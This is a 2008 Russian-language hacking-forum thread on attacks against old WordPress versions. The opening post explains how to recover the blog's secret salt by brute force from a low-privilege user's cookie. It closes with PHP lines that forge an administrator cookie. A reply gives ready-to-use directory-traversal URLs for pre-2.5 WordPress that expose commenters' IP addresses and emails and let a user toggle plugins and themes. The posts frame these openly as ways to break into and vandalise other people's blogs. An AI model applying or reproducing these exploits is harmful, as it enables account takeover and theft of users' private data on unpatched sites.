Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   Сценарии/CMF/СMS (https://forum.antichat.xyz/forumdisplay.php?f=114)
-   -   WordPress 2.5 Cookies Manipulation (https://forum.antichat.xyz/showthread.php?t=72534)

Евгений Минаев 03.06.2008 19:26

WordPress 2.5 Cookies Manipulation
 
Проблемы с надежностью шифрования у вордпресса были всегда. Вспомним 2007 год, когда имея только аутенфикационные данные в виде связки логин и пароль, можно было зайти с администраторскими правами даже без перебора хеша этого пароля, а иньекций в блоге было предостаточно. Ввести элементарный секьюрити фикс не могли начиная с версии 1.5 до 2.3, когда было объявлено о выходе wordpress 2.5. Теперь сразу после инсталяции блога в базу записывается соль, с помощью который высчитывается хеш пароля, помещаемый в cookies юзера. Cookies юзера представляют из себя следующую конструкцию

"wordpress_".COOKIEHASH = USERNAME . "|" . EXPIRY_TIME . "|" . HMAC

COOKIEHASH md5 хеш от имени сайта
USERNAME Имя пользователя
EXPIRY_TIME Срок жизни cookies до того как они станут невалидными

HMAC представляет из себя хеш из USERNAME и EXPIRY_TIME, основанный на ключе, полученный путем преобразования USERNAME,EXPIRY_TIME и SALT, проще говоря формула такая
Цитата:

HMAC_KEY = HMAC md5(USERNAME.EXPIRY_TIME,SALT), HMAC = HMAC md5(USERNAME.EXPIRY_TIME,HMAC_KEY)
Для реализации атаки нам нужен зарегестрированный пользователь с любыми правами. После входа в контрольную панель мы получим наши cookies, которые будут нужны для получения соли. Так как соль для всех одна, то мы имея эту соль можем сгенерировать cookies для любого юзера, в том числе и админа. Посмотрим, как происходит аутенфикация в wordpress

PHP код:

function wp_validate_auth_cookie($cookie '') {
    ........................
    list(
$username$expiration$hmac) = explode('|'$cookie);
    
$expired $expiration;
    ........................
    if ( 
$expired time() )
        return 
false;
    ........................
    
$key wp_hash($username $expiration);
    
$hash hash_hmac('md5'$username $expiration$key);
    ........................
    if ( 
$hmac != $hash )
        return 
false;
}

function 
wp_hash($data) {
    
$salt wp_salt();
    if ( 
function_exists('hash_hmac') ) {
        return 
hash_hmac('md5'$data$salt);
    } else {
        return 
md5($data $salt);
    }


Генерация хеша основывается лишь на юзернейме, сроке жизни кук и необходимом параметре - соль. Соль получается следующим образом

PHP код:

function wp_salt() {
    ........................
    if ( empty(
$salt) ) {
        
$salt wp_generate_password();
        
update_option('secret'$salt);
    }
    ........................
}

function 
wp_generate_password() {
    
$chars "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789";
    
$length 7;
    
$password '';
    for ( 
$i 0$i $length$i++ )
        
$password .= substr($charsmt_rand(061), 1);
    return 
$password;


Как видим, она генерируется случайным образом из набора A-Za-z0-9, то есть общее число комбинаций 62^7, а именно 3521614606208. При неплохой скорости перебора в четыре милиона в секунду имеем 3521614606208 / 4000000 примерно десять дней перебора. Но вспоминаем, что у нас не обычный md5, а hmac. HMAC md5 завязан на ключе и хеширование происходит по формуле md5(key XOR opad, md5(key XOR ipad, text)), где ipad и opad - сгенерированные на основе ключа строки, полученные путем ксора (ipad = the byte 0x36 repeated 16 times, opad = the byte 0x5C repeated 16 times), то есть на перебор вместо изначальных десяти дней уйдет максимум месяц за счет операций с ключом и двойного вызова md5. Перебор должен происходить на основе уже готовых username, hmac и expired из наших cookies - hmac_md5(username . expired, hmac_md5(username . expired,SALT)) == hmac. После получения соли, воспользовавшись стандартными worpdress функциями получим cookies для админа. Enjoy.

PHP код:

$hmackey      hash_hmac('md5''admin' '9999999999'$salt);
$hmacpass     hash_hmac('md5''admin' '9999999999'$hmackey); 

Спасибо +toxa+ и W[4H]LF за потраченное на меня время

Цитата:

шок (15:24:19 3/06/2008)
назовем - криптографическая атака на вордпресс

+toxa+ (15:24:34 3/06/2008)
Тебе хитровыебнуться надо?))

M4g 03.06.2008 23:20

боян
http://www.securityfocus.com/archive/1/490887

Евгений Минаев 03.06.2008 23:28

M4g, не жалко - в закрытых разделах лежит без перебора и прочих "но".

M4g 03.06.2008 23:43

у меня тоже лежит без перебора и прочих но сплойт, основанный все на той же инфе секуритифокуса

M4g 03.06.2008 23:46

короче мир дружба жвачка, главное поменьше всяких штук в паблик выкладывать)
З.Ы. единственные версии вп, которые у мну не получилось поиметь (зайти в админку, залить шелл) 2.3.3 и 2.5.1 =\

M4g 03.06.2008 23:48

и еще для размышления (будет в хакфаке в хакере в июне)
XXX ВОПРОС XXX
Как можно посмотреть IP-адреса и e-mail людей, которые оставили свои комментарии на блоге WordPress?

XXX ОТВЕТ XXX
Недавно обнаруженная уязвимость в WordPress версий до 2.5 с моей доработкой предоставляет тебе такую возможность :) Итак, чтобы посмотреть полную конфиденциальную инфу комментаторов на блоге, ты должен зарегистрироваться и пройти по адресу http://blog.com/wp233/?cat=1.php/../../../../wp%252dadmin/edit%252dcomments. Также эта бага позволяет тебе всячески поиздеваться над блогом недоброжелателя, например:
-редактировать структуру ссылок (http://blog.com/wp233/?cat=1.php/../../../../wp%252dadmin/options%252dpermalink);
-активировать и деактивировать плагины (http://blog.com/wp233/?cat=1.php/../../../../wp%252dadmin/plugins);
-активировать и деактивировать темы оформления (http://blog.com/wp233/?cat=1.php/../../../../wp%252dadmin/themes);
-просматривать все посты блога (включая черновики) (http://blog.com/wp233/?cat=1.php/../../../../wp%252dadmin/edit).
И многое другое :) Ты можешь сам подставлять названия файлов из каталога ./wp-admin и ставить свои опыты над вордпрессом.
З.Ы. По непроверенной информации бага работает только на Windows-платформах, но, так как я занимался данной уязвимостью только на винде, на никсах можешь поэксперементировать сам.

+toxa+ 04.06.2008 20:47

Цитата:

Сообщение от M4g
и еще для размышления (будет в хакфаке в хакере в июне)
XXX ВОПРОС XXX
Как можно посмотреть IP-адреса и e-mail людей, которые оставили свои комментарии на блоге WordPress?

XXX ОТВЕТ XXX
Недавно обнаруженная уязвимость в WordPress версий до 2.5 с моей доработкой предоставляет тебе такую возможность :) Итак, чтобы посмотреть полную конфиденциальную инфу комментаторов на блоге, ты должен зарегистрироваться и пройти по адресу http://blog.com/wp233/?cat=1.php/../../../../wp%252dadmin/edit%252dcomments. Также эта бага позволяет тебе всячески поиздеваться над блогом недоброжелателя, например:
-редактировать структуру ссылок (http://blog.com/wp233/?cat=1.php/../../../../wp%252dadmin/options%252dpermalink);
-активировать и деактивировать плагины (http://blog.com/wp233/?cat=1.php/../../../../wp%252dadmin/plugins);
-активировать и деактивировать темы оформления (http://blog.com/wp233/?cat=1.php/../../../../wp%252dadmin/themes);
-просматривать все посты блога (включая черновики) (http://blog.com/wp233/?cat=1.php/../../../../wp%252dadmin/edit).
И многое другое :) Ты можешь сам подставлять названия файлов из каталога ./wp-admin и ставить свои опыты над вордпрессом.
З.Ы. По непроверенной информации бага работает только на Windows-платформах, но, так как я занимался данной уязвимостью только на винде, на никсах можешь поэксперементировать сам.

Дык это основано на том что фильтрует ./ и не фильтрует .\

M4g 06.06.2008 01:59

->Дык это основано на том что фильтрует ./ и не фильтрует .\
не путай, это две разные баги
ЗЫ по ходу ВП тут мало кто разбирается =\

M4g 06.06.2008 02:01

пруфлинк: http://www.securityfocus.com/bid/28845
WordPress 'cat' Parameter Directory Traversal Vulnerability (Vulnerabilities)
еще раз повторяю: это 2 РАЗНЫЕ баги
на секуритифокусе последняя не совсем разработана, я ее чуть больше поковырял


Время: 20:07